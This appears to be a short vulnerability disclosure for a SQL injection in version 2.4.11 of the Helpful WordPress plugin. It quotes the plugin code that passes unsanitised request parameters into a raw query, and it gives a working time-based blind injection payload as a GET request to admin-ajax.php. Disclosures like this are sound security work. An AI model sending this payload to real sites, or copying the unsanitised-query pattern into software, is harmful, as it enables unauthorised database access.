WordPress Plugin Helpful 2.4.11 - SQL Injection

Title: Helpful 2.4.11 Sql Injection  - Wordpress Plugin
Version : 2.4.11
Software Link : https://wordpress.org/plugins/helpful/
Date of found: 10.04.2019
Author: Numan Türle


core/Core.class.php
// Ajax requests: pro
add_action( 'wp_ajax_helpful_ajax_pro', array( $this, 'helpful_ajax_pro' ) );

// set args for insert command
$args = array(
'post_id' => $_REQUEST['post_id'],
'user' => $_REQUEST['user'],
'pro' => $_REQUEST['pro'],
'contra' => $_REQUEST['contra']
);
$result = $this->insert( $args );

@params = 'post_id' => $_REQUEST['post_id'],
call function insert -->

if( !$args['post_id'] ) return false;
$check = $wpdb->get_results("SELECT post_id,user FROM $table_name WHERE user = '$user' AND post_id = $post_id");



Payload :
GET /wp-admin/admin-ajax.php?action=helpful_ajax_pro&contra=0&post_id=if(1=1,sleep(10),0)&pro=1&user=1